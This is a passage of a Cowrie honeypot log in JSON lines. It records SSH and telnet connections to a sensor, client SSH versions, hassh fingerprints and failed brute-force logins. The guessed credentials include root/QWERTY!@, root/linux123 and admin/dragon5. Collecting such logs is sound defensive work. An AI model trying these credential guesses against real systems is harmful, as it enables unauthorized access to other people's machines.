sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:01.932235Z","src_ip":"125.16.27.190","session":"528f6768916c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY!@","message":"login attempt [root/QWERTY!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:04.344404Z","src_ip":"125.16.27.190","session":"528f6768916c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:05.616292Z","src_ip":"125.16.27.190","session":"528f6768916c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":59546,"dst_ip":"159.203.135.109","dst_port":22,"session":"c36ecd7e472a","protocol":"ssh","message":"New connection: 66.113.163.125:59546 (159.203.135.109:22) [session: c36ecd7e472a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:08.652832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:08.657329Z","src_ip":"66.113.163.125","session":"c36ecd7e472a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:08.696828Z","src_ip":"66.113.163.125","session":"c36ecd7e472a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmod123","message":"login attempt [root/gmod123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:08.874367Z","src_ip":"66.113.163.125","session":"c36ecd7e472a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:09.914356Z","src_ip":"66.113.163.125","session":"c36ecd7e472a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":35844,"dst_ip":"159.203.135.109","dst_port":22,"session":"de9fb749cbb5","protocol":"ssh","message":"New connection: 81.192.46.49:35844 (159.203.135.109:22) [session: de9fb749cbb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:17.585356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:17.589053Z","src_ip":"81.192.46.49","session":"de9fb749cbb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:17.703844Z","src_ip":"81.192.46.49","session":"de9fb749cbb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:18.195276Z","src_ip":"81.192.46.49","session":"de9fb749cbb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:19.313541Z","src_ip":"81.192.46.49","session":"de9fb749cbb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":40646,"dst_ip":"10.17.0.5","dst_port":22,"session":"61477c00b032","protocol":"ssh","message":"New connection: 159.195.79.219:40646 (10.17.0.5:22) [session: 61477c00b032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:33.721664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:33.727293Z","src_ip":"159.195.79.219","session":"61477c00b032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:33.817711Z","src_ip":"159.195.79.219","session":"61477c00b032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"extrim","message":"login attempt [root/extrim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:34.211161Z","src_ip":"159.195.79.219","session":"61477c00b032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:35.309733Z","src_ip":"159.195.79.219","session":"61477c00b032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.205.122.34","src_port":43116,"dst_ip":"10.17.0.5","dst_port":22,"session":"69fd8e8f1569","protocol":"ssh","message":"New connection: 220.205.122.34:43116 (10.17.0.5:22) [session: 69fd8e8f1569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:36.711638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:36.716089Z","src_ip":"220.205.122.34","session":"69fd8e8f1569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:36.948411Z","src_ip":"220.205.122.34","session":"69fd8e8f1569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1314","message":"login attempt [root/1314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:37.913237Z","src_ip":"220.205.122.34","session":"69fd8e8f1569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:39.148726Z","src_ip":"220.205.122.34","session":"69fd8e8f1569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.195","src_port":19220,"dst_ip":"159.203.135.109","dst_port":22,"session":"c055c4f63468","protocol":"ssh","message":"New connection: 92.118.39.195:19220 (159.203.135.109:22) [session: c055c4f63468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:46.356901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:46.361583Z","src_ip":"92.118.39.195","session":"c055c4f63468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:46.466631Z","src_ip":"92.118.39.195","session":"c055c4f63468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:46.918601Z","src_ip":"92.118.39.195","session":"c055c4f63468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.32.32.119","src_port":41143,"dst_ip":"10.17.0.5","dst_port":23,"session":"bccea703dbe8","protocol":"telnet","message":"New connection: 151.32.32.119:41143 (10.17.0.5:23) [session: bccea703dbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:48.181327Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":27459,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f6d5c905eea","protocol":"ssh","message":"New connection: 2.57.121.112:27459 (10.17.0.5:22) [session: 2f6d5c905eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:59.413774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:59.417390Z","src_ip":"2.57.121.112","session":"2f6d5c905eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:59.518137Z","src_ip":"2.57.121.112","session":"2f6d5c905eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"drexler","message":"login attempt [admin/drexler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:04:59.999746Z","src_ip":"2.57.121.112","session":"2f6d5c905eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"drake1","message":"login attempt [admin/drake1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:01.104546Z","src_ip":"2.57.121.112","session":"2f6d5c905eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dragula","message":"login attempt [admin/dragula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:02.210125Z","src_ip":"2.57.121.112","session":"2f6d5c905eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.080982685089111,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:02.262216Z","src_ip":"151.32.32.119","session":"bccea703dbe8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dragon5","message":"login attempt [admin/dragon5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:03.317279Z","src_ip":"2.57.121.112","session":"2f6d5c905eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dragon0","message":"login attempt [admin/dragon0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:04.421945Z","src_ip":"2.57.121.112","session":"2f6d5c905eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:05.534931Z","src_ip":"2.57.121.112","session":"2f6d5c905eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":45420,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f0814b5c687","protocol":"ssh","message":"New connection: 45.227.254.170:45420 (10.17.0.5:22) [session: 0f0814b5c687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:11.889498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:11.894549Z","src_ip":"45.227.254.170","session":"0f0814b5c687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:12.002295Z","src_ip":"45.227.254.170","session":"0f0814b5c687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:12.448422Z","src_ip":"45.227.254.170","session":"0f0814b5c687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":49284,"dst_ip":"159.203.135.109","dst_port":22,"session":"225753244986","protocol":"ssh","message":"New connection: 107.0.200.227:49284 (159.203.135.109:22) [session: 225753244986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:15.723924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:15.729002Z","src_ip":"107.0.200.227","session":"225753244986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 